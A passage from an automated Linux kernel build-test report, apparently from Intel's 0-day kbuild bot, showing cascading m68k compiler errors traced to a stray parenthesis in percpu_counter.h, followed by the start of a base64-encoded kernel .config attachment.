';', 'asm' or '__attribute__' before '{' token { ^ include/linux/vtime.h:100:62: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_user_enter(struct task_struct *tsk) { } ^ include/linux/vtime.h:101:61: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_user_exit(struct task_struct *tsk) { } ^ include/linux/vtime.h:102:63: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_guest_enter(struct task_struct *tsk) { } ^ include/linux/vtime.h:103:62: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_guest_exit(struct task_struct *tsk) { } ^ include/linux/vtime.h:104:70: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_init_idle(struct task_struct *tsk, int cpu) { } ^ include/linux/vtime.h:110:65: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void irqtime_account_irq(struct task_struct *tsk) { } ^ include/linux/vtime.h:114:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/vtime.h:120:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from arch/m68k/include/asm/hardirq.h:6:0, from include/linux/hardirq.h:8, from include/linux/interrupt.h:12, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: >> arch/m68k/include/asm/irq.h:57:1: warning: empty declaration struct irq_data; ^ arch/m68k/include/asm/irq.h:58:1: warning: empty declaration struct irq_chip; ^ arch/m68k/include/asm/irq.h:59:1: warning: empty declaration struct irq_desc; ^ >> arch/m68k/include/asm/irq.h:60:21: error: storage class specified for parameter 'm68k_irq_startup' extern unsigned int m68k_irq_startup(struct irq_data *data); ^ >> arch/m68k/include/asm/irq.h:61:21: error: storage class specified for parameter 'm68k_irq_startup_irq' extern unsigned int m68k_irq_startup_irq(unsigned int irq); ^ >> arch/m68k/include/asm/irq.h:62:13: error: storage class specified for parameter 'm68k_irq_shutdown' extern void m68k_irq_shutdown(struct irq_data *data); ^ >> arch/m68k/include/asm/irq.h:63:13: error: storage class specified for parameter 'm68k_setup_auto_interrupt' extern void m68k_setup_auto_interrupt(void (*handler)(unsigned int, ^ >> arch/m68k/include/asm/irq.h:65:13: error: storage class specified for parameter 'm68k_setup_user_interrupt' extern void m68k_setup_user_interrupt(unsigned int vec, unsigned int cnt); ^ >> arch/m68k/include/asm/irq.h:66:13: error: storage class specified for parameter 'm68k_setup_irq_controller' extern void m68k_setup_irq_controller(struct irq_chip *, ^ >> arch/m68k/include/asm/irq.h:70:21: error: storage class specified for parameter 'irq_canonicalize' extern unsigned int irq_canonicalize(unsigned int irq); ^ >> arch/m68k/include/asm/irq.h:77:17: error: storage class specified for parameter 'irq_err_count' extern atomic_t irq_err_count; ^ In file included from include/linux/hardirq.h:8:0, from include/linux/interrupt.h:12, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: >> arch/m68k/include/asm/hardirq.h:11:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ >> arch/m68k/include/asm/hardirq.h:18:25: error: storage class specified for parameter 'irq_cpustat_t' } ____cacheline_aligned irq_cpustat_t; ^ In file included from arch/m68k/include/asm/hardirq.h:20:0, from include/linux/hardirq.h:8, from include/linux/interrupt.h:12, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: >> include/linux/irq_cpustat.h:20:22: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'irq_stat' extern irq_cpustat_t irq_stat[]; /* defined in asm/hardirq.h */ ^ In file included from include/linux/interrupt.h:12:0, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: include/linux/hardirq.h:11:13: error: storage class specified for parameter 'synchronize_irq' extern void synchronize_irq(unsigned int irq); ^ include/linux/hardirq.h:12:13: error: storage class specified for parameter 'synchronize_hardirq' extern bool synchronize_hardirq(unsigned int irq); ^ include/linux/hardirq.h:17:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/hardirq.h:21:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/hardirq.h:45:13: error: storage class specified for parameter 'irq_enter' extern void irq_enter(void); ^ include/linux/hardirq.h:60:13: error: storage class specified for parameter 'irq_exit' extern void irq_exit(void); ^ In file included from include/linux/interrupt.h:15:0, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: include/linux/kref.h:24:1: warning: empty declaration struct kref { ^ include/linux/kref.h:33:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:42:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:70:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:98:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:118:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:137:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/kref.h:168:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ In file included from include/linux/kernel_stat.h:8:0, from arch/m68k/kernel/asm-offsets.c:15: include/linux/interrupt.h:87:1: warning: empty declaration enum { ^ >> include/linux/interrupt.h:92:22: error: expected declaration specifiers or '...' before '*' token typedef irqreturn_t (*irq_handler_t)(int, void *); ^ >> include/linux/interrupt.h:110:2: error: unknown type name 'irq_handler_t' irq_handler_t handler; ^ include/linux/interrupt.h:114:2: error: unknown type name 'irq_handler_t' irq_handler_t thread_fn; ^ include/linux/interrupt.h:109:1: warning: empty declaration struct irqaction { ^ >> include/linux/interrupt.h:124:20: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'no_action' extern irqreturn_t no_action(int cpl, void *dev_id); ^ include/linux/interrupt.h:127:40: error: unknown type name 'irq_handler_t' request_threaded_irq(unsigned int irq, irq_handler_t handler, ^ include/linux/interrupt.h:128:8: error: unknown type name 'irq_handler_t' irq_handler_t thread_fn, ^ include/linux/interrupt.h:132:31: error: unknown type name 'irq_handler_t' request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, ^ include/linux/interrupt.h:139:43: error: unknown type name 'irq_handler_t' request_any_context_irq(unsigned int irq, irq_handler_t handler, ^ include/linux/interrupt.h:143:38: error: unknown type name 'irq_handler_t' request_percpu_irq(unsigned int irq, irq_handler_t handler, ^ include/linux/interrupt.h:146:13: error: storage class specified for parameter 'free_irq' extern void free_irq(unsigned int, void *); ^ include/linux/interrupt.h:147:13: error: storage class specified for parameter 'free_percpu_irq' extern void free_percpu_irq(unsigned int, void __percpu *); ^ include/linux/interrupt.h:149:1: warning: empty declaration struct device; ^ include/linux/interrupt.h:153:6: error: unknown type name 'irq_handler_t' irq_handler_t handler, irq_handler_t thread_fn, ^ include/linux/interrupt.h:153:29: error: unknown type name 'irq_handler_t' irq_handler_t handler, irq_handler_t thread_fn, ^ include/linux/interrupt.h:158:56: error: unknown type name 'irq_handler_t' devm_request_irq(struct device *dev, unsigned int irq, irq_handler_t handler, ^ include/linux/interrupt.h:167:4: error: unknown type name 'irq_handler_t' irq_handler_t handler, unsigned long irqflags, ^ include/linux/interrupt.h:170:13: error: storage class specified for parameter 'devm_free_irq' extern void devm_free_irq(struct device *dev, unsigned int irq, void *dev_id); ^ include/linux/interrupt.h:190:13: error: storage class specified for parameter 'disable_irq_nosync' extern void disable_irq_nosync(unsigned int irq); ^ include/linux/interrupt.h:191:13: error: storage class specified for parameter 'disable_hardirq' extern bool disable_hardirq(unsigned int irq); ^ include/linux/interrupt.h:192:13: error: storage class specified for parameter 'disable_irq' extern void disable_irq(unsigned int irq); ^ include/linux/interrupt.h:193:13: error: storage class specified for parameter 'disable_percpu_irq' extern void disable_percpu_irq(unsigned int irq); ^ include/linux/interrupt.h:194:13: error: storage class specified for parameter 'enable_irq' extern void enable_irq(unsigned int irq); ^ include/linux/interrupt.h:195:13: error: storage class specified for parameter 'enable_percpu_irq' extern void enable_percpu_irq(unsigned int irq, unsigned int type); ^ include/linux/interrupt.h:196:13: error: storage class specified for parameter 'irq_wake_thread' extern void irq_wake_thread(unsigned int irq, void *dev_id); ^ include/linux/interrupt.h:199:13: error: storage class specified for parameter 'suspend_device_irqs' extern void suspend_device_irqs(void); ^ include/linux/interrupt.h:200:13: error: storage class specified for parameter 'resume_device_irqs' extern void resume_device_irqs(void); ^ include/linux/interrupt.h:214:1: warning: empty declaration struct irq_affinity_notify { ^ include/linux/interrupt.h:271:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:276:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:281:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:285:58: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline int irq_select_affinity(unsigned int irq) { return 0; } ^ include/linux/interrupt.h:289:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:295:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:312:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:320:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:328:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/interrupt.h:336:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { .. vim +125 include/linux/percpu_counter.h 119 else if (fbc->count < rhs) 120 return -1; 121 else 122 return 0; 123 } 124 > 125 static inline int __percpu_counter_compare(struct percpu_counter *fbc, s64 rhs, 126 s32 batch, s64 *pcnt)) 127 { 128 return percpu_counter_compare(fbc, rhs); --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --mP3DRpeJDSE+ciuQ Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 